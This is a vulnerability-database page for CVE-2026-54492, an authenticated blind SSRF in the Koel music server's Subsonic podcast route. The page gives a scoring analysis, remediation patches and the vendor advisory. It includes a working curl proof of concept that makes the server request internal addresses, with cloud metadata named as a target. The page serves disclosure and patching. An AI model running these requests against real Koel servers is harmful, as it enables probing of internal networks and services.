Skip to main content

Koel CVE-2026-54492

| EUVDEUVD-2026-63082 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-15 https://github.com/koel/koel GHSA-w79m-f3jx-779v
4.3
CVSS 3.1 · Vendor: https://github.com/koel/koel
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Koel and retrieve Subsonic API key
  2. Delivery
    Send createPodcastChannel.view with private internal URL
  3. Exploit
    PodcastService::createParser() invokes Poddle::fromUrl()
  4. Execution
    Koel server issues HEAD+GET to internal target
  5. Impact
    Internal service receives and logs server-side request

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Any authenticated Koel user account is sufficient - no admin or elevated privileges are required. The attacker must possess a valid Subsonic API key, obtainable from the /api/data endpoint after authenticating with any user credential. The Subsonic compatibility API must be accessible (it is enabled by default in Koel). The internal target must be reachable from the Koel server's network context (loopback, Docker bridge, or RFC1918 addresses confirmed in PoC). Response body exfiltration is not confirmed - exploitation yields blind SSRF (observable via logs on the target service, not via the Koel HTTP response). The main web API's SafeUrl guard is NOT a limiting factor here as the exploit specifically targets the unprotected Subsonic route. Non-default configurations are NOT required - the Subsonic route is part of the default Koel deployment.

Impact

The NVD CVSS 3.1 score of 4.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) accurately reflects the constrained real-world impact: authentication is required (PR:L), and the confirmed impact is blind SSRF - internal request execution without validated response-body exfiltration (C:L). The score is not inflated. No CISA KEV listing is present, and EPSS data was not provided, so exploitation prevalence cannot be quantified. However, the fully public PoC in GHSA-w79m-f3jx-779v materially lowers the exploitation bar for any user with a Koel account. The risk is most significant for Koel instances deployed in environments where the server has network adjacency to sensitive internal services (cloud metadata endpoints such as 169.254.169.254, Docker bridge networks, or private APIs), as the SSRF enables internal service discovery and request execution from a trusted network position. The blind nature of the SSRF limits data exfiltration potential but does not eliminate it for services that reflect state in ways detectable via timing or error channels. The risk is low for isolated public-internet deployments with no sensitive internal neighbors.

Exploit ScenarioDerived

An authenticated Koel user retrieves their Subsonic API key by calling GET /api/data with a Bearer token, then sends a GET request to /rest/createPodcastChannel.view with apiKey, f=json, and url=http://169.254.169.254/latest/meta-data/ (or any Docker bridge or RFC1918 address reachable from the Koel server). Koel's PodcastService immediately issues HEAD and GET requests to the target during channel creation, enabling the attacker to probe internal services and confirm reachability via HTTP response codes. A public step-by-step PoC using curl is available in GHSA-w79m-f3jx-779v and was validated against the official Docker image.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 15, 2026

Authenticated blind SSRF in Koel v9.6.0 allows any logged-in user to trigger server-side HTTP requests to private, loopback, and RFC1918 destinations by exploiting a missing SafeUrl validation guard on the Subsonic-compatible createPodcastChannel.view route. The main podcast API correctly rejects private URLs with a 422 error, but the Subsonic compatibility layer omits the same SafeUrl rule, and the attacker-supplied URL is fetched synchronously during channel creation via Poddle::fromUrl() - no separate step required. No public exploit identified at time of analysis per KEV status, but a fully documented public PoC with step-by-step curl commands is available in GHSA-w79m-f3jx-779v, validated against the official phanan/koel:9.6.0 Docker image.

RemediationAI

Upgrade to Koel v9.7.0 or later, available at https://github.com/koel/koel/releases/tag/v9.7.0. The fix (PR #2545, commit 1331f335342b405e60ffabdd60f1f398508f996f) adds new SafeUrl() to the url validation rule in app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php and introduces a defense-in-depth check in PodcastService::createParser() that throws UnsafePodcastFeedUrlException for any URL failing SafeUrl validation before Poddle::fromUrl() is called. If immediate upgrade is not possible, block or restrict access to the /rest/createPodcastChannel.view endpoint at the reverse proxy or WAF layer - this prevents exploitation but disables Subsonic podcast subscription for all clients, which is an acceptable trade-off for environments not using that feature. Alternatively, egress filtering at the network layer to block outbound requests from the Koel server to RFC1918, loopback (127.0.0.0/8), link-local (169.254.0.0/16), and Docker bridge ranges reduces SSRF blast radius without disabling application functionality, though it does not eliminate the vulnerability and requires accurate knowledge of all internal IP ranges.

Affected VersionsENISA

koel < 9.7.0

Affected Packages

composer phanan/koel fix: 9.7.0
euvd koel fix: 9.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Koel is a PHP/Laravel self-hosted music streaming server (composer package phanan/koel) that provides both a native REST API and a Subsonic-compatible API for third-party client support. CWE-918 (Server-Side Request Forgery) arises here from an incomplete application of the SafeUrl validation rule: the regular podcast subscription path in app/Http/Requests/API/Podcast/PodcastStoreRequest.php applies new SafeUrl() to the url field, but the Subsonic counterpart app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php omits it, validating only required|string|url. The attacker-controlled URL flows into PodcastService::addPodcast() which calls createParser($url), which resolves to Poddle::fromUrl($url, 5 * 60, $this->client) - an immediate outbound HTTP request. Affected CPE: pkg:composer/phanan/koel, versions <= 9.6.0 at commit 352ea5ec27fa22294da8fb6beacb3d5552f0d09c. A prior related advisory GHSA-7j2f-6h2r-6cqc addressed unsafe episode enclosure URLs in versions <= 9.3.4; this is a distinct gap reintroduced in the Subsonic route.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/koel/koel) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
vuln.today AI 4.3 MEDIUM

Network-accessible attack requiring only authenticated user (PR:L); limited confidentiality impact (C:L) for blind SSRF with no confirmed integrity or availability effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/koel/koel).

CVSS VectorVendor: https://github.com/koel/koel

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

DescriptionCVE.org

Summary

Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.

Details

SafeUrl protects the regular podcast API only

The regular podcast subscription path validates the feed URL with SafeUrl:

  • app/Http/Requests/API/Podcast/PodcastStoreRequest.php
php
return [
    'url' => ['required', 'url', new SafeUrl()],
];

The Subsonic-compatible route does not:

  • routes/subsonic.php
  • createPodcastChannel.view
  • app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
php
return [
    'url' => ['required', 'string', 'url'],
];

That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.

The URL is fetched immediately by the podcast parser

The attacker-controlled URL is used by the podcast service during channel creation:

  • app/Http/Controllers/Subsonic/CreatePodcastChannelController.php
  • app/Services/Podcast/PodcastService.php

PodcastService::addPodcast() calls:

php
$parser = $this->createParser($url);

and createParser() resolves to:

php
return Poddle::fromUrl($url, 5 * 60, $this->client);

This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.

This bypasses Koel's intended SSRF control for podcast URLs

Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

  1. Authenticate and obtain an API token:
bash
API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
  1. Obtain the user's Subsonic API key:
bash
SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
  1. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
bash
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
  1. Confirm the regular web API blocks the URL:
bash
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"url\":\"$TARGET_URL\"}"

Expected result:

  • HTTP 422
  • Error includes The url must point to a public URL.
  1. Trigger the Subsonic route with the same URL:
bash
curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode "url=$TARGET_URL"

Expected result:

  • HTTP 200
  • JSON includes "status":"ok"
  1. Confirm the server-side request happened by checking the internal HTTP service logs.

During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.

Impact

An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.

Validated impact:

  • SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server
  • Internal service discovery and request execution through the podcast parser

Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.

Remediation

The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.

Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:

diff
diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'url' => ['required', 'string', 'url'],
+            'url' => ['required', 'string', 'url', new SafeUrl()],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:

diff
diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
     private function createParser(string $url): Poddle
     {
+        if (!$this->network->isSafeUrl($url)) {
+            throw FailedToParsePodcastFeedException::create($url);
+        }
+
         return Poddle::fromUrl($url, 5 * 60, $this->client);
     }
 }

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Low
self-hosted personal music streamer, niche deployment footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy